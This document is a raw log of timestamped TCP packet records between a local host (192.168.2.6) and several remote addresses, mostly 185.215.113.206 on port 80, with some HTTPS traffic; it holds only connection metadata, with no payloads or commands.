Nov 26, 2024 01:41:42.199389935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.200366974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.200382948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.200424910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.200447083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.201294899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.201343060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.201415062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.201467037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.202441931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.202696085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.202887058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.202925920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.203488111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.203542948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.203634977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.203808069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.204612017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.204679966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.205188990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.205243111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.205702066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.205786943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.205903053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.205951929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.206738949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.206796885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.206878901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.206960917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.207828045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.207875013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.207984924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.208051920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.209011078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.209026098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.209069967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.210222960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.210238934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.210297108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.210323095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.211333036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.211349010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.211380959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.211409092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.212353945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.212431908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.212845087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.212892056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.213303089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.213385105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.213423014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.213490963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.214442015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.214560986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.214580059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.214617014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.215452909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.215507030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.215568066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.215609074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.216528893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.216578007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.216638088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.216732979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.217861891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.217875957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.217920065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.218760967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.218806982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.218902111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.218954086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.219914913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.219929934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.219969988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.221092939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.221107006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.221138954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.221168041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.221956015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.222007036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.222064018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.222294092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.223047018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.223092079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.223157883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.223201990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.224174023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.224255085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.224276066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.224329948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.225250959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.225305080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.225625038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.225676060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.226315022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.226449966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.226504087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.227492094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.227507114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.227543116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.227572918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.228560925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.228574991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.228610992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.228641987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.229634047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.229684114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.229718924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.229758978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.230840921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.230856895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.230892897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.230918884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.231775045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.231842995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.231878042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.232070923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.232909918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.232958078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.233160973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.233212948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.233911991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.233953953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.250778913 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.250806093 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.250842094 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.250854969 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.250879049 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.250896931 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.250951052 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.250999928 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.251188040 CET	49873	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.251430035 CET	49873	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.251430035 CET	49873	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.251441002 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.251447916 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.254023075 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.254051924 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.254209995 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.254303932 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.254312038 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.263412952 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.263436079 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.263472080 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.263487101 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.263520002 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.263536930 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.274395943 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.274421930 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.274456024 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.274466038 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.274487972 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.274507046 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.287064075 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.287086010 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.287125111 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.287136078 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.287158012 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.287175894 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.299093008 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.299113989 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.299148083 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.299160957 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.299181938 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.299210072 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.308577061 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.308629036 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.308634043 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.308651924 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.308675051 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.308722019 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.308908939 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.309020042 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.309031963 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.309041023 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.309262037 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.378154993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.378175020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.378211021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.378237963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.378839016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.378854990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.378875971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.378892899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.379892111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.379909039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.379945993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.379962921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.380912066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.380928040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.380960941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.380995035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.381845951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.381997108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.382040977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.382924080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.382972956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.383071899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.383111000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.383981943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.384037018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.384226084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.384398937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.385112047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.385148048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.385190964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.385226011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.386349916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.386365891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.386389017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.386408091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.387366056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.387381077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.387408972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.387425900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.388335943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.388385057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.388715982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.388863087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.389442921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.389497995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.389585018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.389628887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.390625000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.390687943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.390703917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.390742064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.391669035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.391729116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.391777992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.391817093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.392780066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.392863035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.392899990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.392934084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.393838882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.393896103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.394220114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.394294024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.394932032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.394979954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.394994020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.395029068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.396095037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.396111012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.396153927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.396174908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.397154093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.397185087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.397201061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.397236109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.398300886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.398315907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.398358107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.398390055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.399228096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.399279118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.399549007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.399595022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.400432110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.400454044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.400487900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.400505066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.401546955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.401561975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.401602983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.401623964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.402522087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.402559042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.402745008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.402784109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.403620005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.403672934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.403717041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.403976917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.404767990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.404813051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.404841900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.404881001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.406042099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.406056881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.406075954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.406094074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.407013893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.407036066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.407059908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.407077074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.407975912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.408013105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.408077955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.408113003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.409039021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.409080029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.409142017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.409177065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.410183907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.410218000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.410394907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.410429955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.411211014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.411389112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.469225883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.589292049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.707297087 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.707355976 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:42.707441092 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.707885981 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.707946062 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:42.708065033 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.708470106 CET	49880	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.708497047 CET	443	49880	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:42.708888054 CET	49881	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:42.708903074 CET	443	49881	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:42.920389891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.920408964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.920450926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.920480967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.920675993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.920722961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.920814037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.920856953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.921842098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.921857119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.921883106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.921907902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.922465086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.922597885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.922672987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.922708035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.923563957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.923589945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.923609972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.923628092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.924628019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.924695015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.924746037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.924783945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.925734997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.925791025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.925827980 CET	80	49813	185.215.113.206	192.168.2.6
